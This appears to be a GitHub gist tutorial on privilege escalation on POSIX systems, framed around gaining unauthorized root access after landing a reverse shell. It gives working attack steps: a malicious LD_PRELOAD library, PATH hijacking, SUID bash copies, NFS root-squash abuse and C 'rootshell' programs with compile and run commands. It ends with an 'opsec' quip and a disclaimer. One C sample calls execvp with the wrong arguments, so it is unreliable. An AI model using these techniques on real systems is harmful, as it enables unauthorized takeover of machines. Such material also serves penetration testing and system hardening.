Skip to content

Instantly share code, notes, and snippets.

@DJStompZone
Last active July 15, 2024 21:27
Show Gist options
  • Save DJStompZone/4308695ab8486fc929024a3d925e243e to your computer and use it in GitHub Desktop.
Save DJStompZone/4308695ab8486fc929024a3d925e243e to your computer and use it in GitHub Desktop.
Privilege Escalation on POSIX Systems

Privilege Escalation on POSIX Systems

Abstract

"I'm in," you say in your best hacker voice.

After all your hard work, you manage to get a reverse shell going. There's just one problem... No sudo privileges.

If you don't have the su password or aren't on the sudoers list, you'll need to explore potential privilege escalation techniques in order to crown yourself king of the castle and pwn with impunity. In this document, we'll discuss a few common avenues one might pursue in order to gain unauthorized root access on a system.

In general, when auditing a system for privilege escalation, the techniques at our disposal can be grouped into three categories of things that we should always be on the lookout for: installed software with known vulnerabilities, system misconfigurations, and exploitable permissions.

1. Vulnerable Software

Exploiting Software Vulnerabilities

  • Look for known vulnerabilities in the software running on the system. This includes the kernel, services, or any setuid binaries.
  • Tools like searchsploit can help identify potential exploits.

Kernel Exploits

  • If the kernel is outdated, you might find a kernel exploit that can escalate privileges.
  • Tools like linux-exploit-suggester can help identify potential kernel exploits.

LD_PRELOAD and LD_LIBRARY_PATH

  • If a binary runs with elevated privileges and you can influence the environment variables, you might preload a malicious library.
    echo 'void _init(void) { setuid(0); system("/bin/bash"); }' > /tmp/preload.c
    gcc -fPIC -shared -o /tmp/preload.so /tmp/preload.c
    LD_PRELOAD=/tmp/preload.so <privileged_binary>

2. Misconfigurations

Sudo Misconfigurations

  • Sometimes sudo is misconfigured, allowing certain commands to be run without a password.
  • Check sudo permissions with sudo -l:
    sudo -l

Cron Jobs

  • Look for cron jobs running as root that execute scripts or binaries you can modify.
    cat /etc/crontab
    ls -la /etc/cron.* /var/spool/cron/crontabs

PATH Variable

  • If you can modify the PATH variable, you might be able to trick the system into running your binaries instead of the intended ones.
    echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /tmp/cp.sh
    export PATH=/tmp:$PATH

3. Exploitable Permissions

Password Files

  • If you can read /etc/shadow, try cracking passwords with tools like John the Ripper, crunch, or hashcat.
  • Look for backup files or misconfigured services that may expose password files.

Weak File Permissions

  • Check for files or directories with weak permissions that could allow privilege escalation.
  • Common targets include /etc/passwd, /etc/shadow, and setuid binaries.
    find / -perm -u=s -type f 2>/dev/null  # Find all setuid files

Leveraging NFS

  • If NFS shares are configured with root squashing disabled, you can create files with elevated privileges.
    mount -o rw,vers=2 <nfs_share> /mnt
    echo '/bin/bash' > /mnt/bash
    chmod +s /mnt/bash

SUID Binaries

And now we get to the real star of the show, and the trifecta of the three categories described above. SUID (short for "Set User ID") is a special type of file permission given to a file in Unix-like operating systems. When a SUID bit is set on an executable file, it allows the file to be executed with the privileges of the file owner, rather than the user running the file. This can be useful for programs that need to perform tasks requiring higher privileges, and it's an immensely powerful tool in any savvy penetration tester's bag of tricks.

How SUID Works

  • Normal Execution: When a user executes a program, it runs with the privileges of the user.
  • SUID Execution: When a user executes a program with the SUID bit set, it runs with the privileges of the file owner (commonly root).

Why Should I Care?

SUID binaries can be security risks if they are not properly managed. If a SUID binary contains vulnerabilities or can be exploited, it can be used to escalate privileges to the owner of the file (often root). This is why it's so important for system administrators to carefully control and audit SUID binaries on a system.

Identifying SUID Binaries

To find SUID binaries on a system, you can use the find command. The following command searches for files with the SUID bit set (-perm -u=s) and lists them.

find / -perm -u=s -type f 2>/dev/null

Exploiting SUID Binaries

One of the most commonly sought after SUID binaries is /usr/bin/passwd, which allows regular users to change their passwords by modifying the /etc/shadow file (which is owned by root).

If you find a writable SUID binary, you can potentially replace it with a malicious binary to escalate privileges. For example:

cp /bin/bash /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p

In many cases, the most straightforward way to do this will be to create a simple C program that spawns a shell with root privileges. Below are a couple of basic examples to demonstrate how this might be accomplished.

  1. Craft a Malicious Program

Example 1

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execvp("/bin/bash", NULL, NULL);
    return 0;
}

Example 2

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
  1. Compile the Program

Compile the program and set SUID bit:

gcc -o rootshell rootshell.c
chmod u+s rootshell 
  1. Execute the SUID Binary

Execute the binary to get a root shell:

./rootshell

If the binary is owned by root and has the SUID bit set, it will run with root privileges, giving you a root shell.

Final Thoughts

So, you've made it this far and you're feeling like the king of the digital underworld. Successfully getting that unauthorized root access is the holy grail for any hacker worth their salt. Whether you're poking around for vulnerable software, laughing at misconfigurations, or exploiting permissions like a pro, it all comes down to knowing your playground inside out. But remember, just because you can doesn't mean you should. Keep it legal, keep it ethical, and use those mad skills for good. Or if nothing else, just make sure you maintain good opsec.

After all, with great power comes... well, you know the rest. Happy hacking!




Ethical and Legal Disclaimer

  • The information provided in this document is for educational purposes only.

  • Nothing contained in this document should be interpreted as consent or invitation for the reader to perform any of the described actions.

  • Unauthorized use of these methods can lead to severe legal consequences and is against ethical hacking principles.

  • Always ensure you have explicit permission to perform any penetration testing activities, and use these techniques responsibly and ethically.

  • If you wind up in prison by applying any of the advice in this document, well, don't say I didn't warn you.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment